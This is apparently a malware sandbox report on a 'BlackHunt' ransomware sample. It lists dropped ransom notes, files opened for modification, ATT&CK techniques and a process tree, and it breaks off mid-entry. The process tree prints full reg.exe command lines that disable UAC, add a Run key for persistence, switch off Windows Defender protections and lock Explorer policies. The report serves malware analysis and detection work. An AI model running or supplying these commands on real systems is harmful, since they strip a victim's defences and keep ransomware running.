File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.hta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Johannesburg	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvmstat.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-javahelp.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.nl_ja_4.4.0.v20140623020002.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_zh_CN.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.hta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_gtk.css	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Khandyga	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fontconfig.properties.src	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Niue	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\BackupTrace.vssx	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.hta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.hta	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-charts.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-ui.xml	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management-agent.jar	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Panama	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\PublishProtect.scf	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_ReadMe.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\FDFFile_8.ico	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2684	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2156	vssadmin.exe
1944	vssadmin.exe
2936	vssadmin.exe
2560	vssadmin.exe
2524	vssadmin.exe
2556	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2492	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2508	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeRestorePrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeBackupPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeTakeOwnershipPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeAuditPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeSecurityPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeIncBasePriorityPrivilege	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Token: SeBackupPrivilege	2752	vssvc.exe
Token: SeRestorePrivilege	2752	vssvc.exe
Token: SeAuditPrivilege	2752	vssvc.exe
Token: SeBackupPrivilege	2624	wbengine.exe
Token: SeRestorePrivilege	2624	wbengine.exe
Token: SeSecurityPrivilege	2624	wbengine.exe
Token: SeSecurityPrivilege	2584	wevtutil.exe
Token: SeBackupPrivilege	2584	wevtutil.exe
Token: SeSecurityPrivilege	3624	wevtutil.exe
Token: SeBackupPrivilege	3624	wevtutil.exe
Token: SeSecurityPrivilege	240	wevtutil.exe
Token: SeBackupPrivilege	240	wevtutil.exe
Token: SeSecurityPrivilege	1340	wevtutil.exe
Token: SeBackupPrivilege	1340	wevtutil.exe
Token: SeSecurityPrivilege	2628	wevtutil.exe
Token: SeBackupPrivilege	2628	wevtutil.exe
Token: SeDebugPrivilege	2492	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 1552	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	29
PID 2384 wrote to memory of 1552	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	29
PID 2384 wrote to memory of 1552	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	29
PID 2384 wrote to memory of 1552	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	29
PID 2384 wrote to memory of 2112	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	31
PID 2384 wrote to memory of 2112	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	31
PID 2384 wrote to memory of 2112	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	31
PID 2384 wrote to memory of 2112	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	31
PID 2384 wrote to memory of 2228	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	33
PID 2384 wrote to memory of 2228	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	33
PID 2384 wrote to memory of 2228	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	33
PID 2384 wrote to memory of 2228	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	33
PID 2384 wrote to memory of 2548	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	34
PID 2384 wrote to memory of 2548	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	34
PID 2384 wrote to memory of 2548	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	34
PID 2384 wrote to memory of 2548	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	34
PID 1552 wrote to memory of 2564	1552	cmd.exe	35
PID 1552 wrote to memory of 2564	1552	cmd.exe	35
PID 1552 wrote to memory of 2564	1552	cmd.exe	35
PID 2384 wrote to memory of 2604	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	38
PID 2384 wrote to memory of 2604	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	38
PID 2384 wrote to memory of 2604	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	38
PID 2384 wrote to memory of 2604	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	38
PID 2384 wrote to memory of 2676	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	40
PID 2384 wrote to memory of 2676	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	40
PID 2384 wrote to memory of 2676	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	40
PID 2384 wrote to memory of 2676	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	40
PID 2384 wrote to memory of 2660	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	42
PID 2384 wrote to memory of 2660	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	42
PID 2384 wrote to memory of 2660	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	42
PID 2384 wrote to memory of 2660	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	42
PID 2112 wrote to memory of 2612	2112	cmd.exe	43
PID 2112 wrote to memory of 2612	2112	cmd.exe	43
PID 2112 wrote to memory of 2612	2112	cmd.exe	43
PID 2228 wrote to memory of 2580	2228	cmd.exe	44
PID 2228 wrote to memory of 2580	2228	cmd.exe	44
PID 2228 wrote to memory of 2580	2228	cmd.exe	44
PID 2384 wrote to memory of 2464	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	46
PID 2384 wrote to memory of 2464	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	46
PID 2384 wrote to memory of 2464	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	46
PID 2384 wrote to memory of 2464	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	46
PID 2384 wrote to memory of 2732	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	48
PID 2384 wrote to memory of 2732	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	48
PID 2384 wrote to memory of 2732	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	48
PID 2384 wrote to memory of 2732	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	48
PID 2384 wrote to memory of 2056	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	133
PID 2384 wrote to memory of 2056	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	133
PID 2384 wrote to memory of 2056	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	133
PID 2384 wrote to memory of 2056	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	133
PID 2384 wrote to memory of 2824	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	52
PID 2384 wrote to memory of 2824	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	52
PID 2384 wrote to memory of 2824	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	52
PID 2384 wrote to memory of 2824	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	52
PID 2384 wrote to memory of 2724	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	54
PID 2384 wrote to memory of 2724	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	54
PID 2384 wrote to memory of 2724	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	54
PID 2384 wrote to memory of 2724	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	54
PID 2384 wrote to memory of 2720	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	56
PID 2384 wrote to memory of 2720	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	56
PID 2384 wrote to memory of 2720	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	56
PID 2384 wrote to memory of 2720	2384	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe	56
PID 2604 wrote to memory of 2460	2604	cmd.exe	58
PID 2604 wrote to memory of 2460	2604	cmd.exe	58
PID 2604 wrote to memory of 2460	2604	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe
"C:\Users\Admin\AppData\Local\Temp\5c92d1b46c3e2f7fdcd3089627002135a946cc9ca88c4c0fae5639fd4a75acf0.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1900
- - C:\Windows\system32\reg.exe
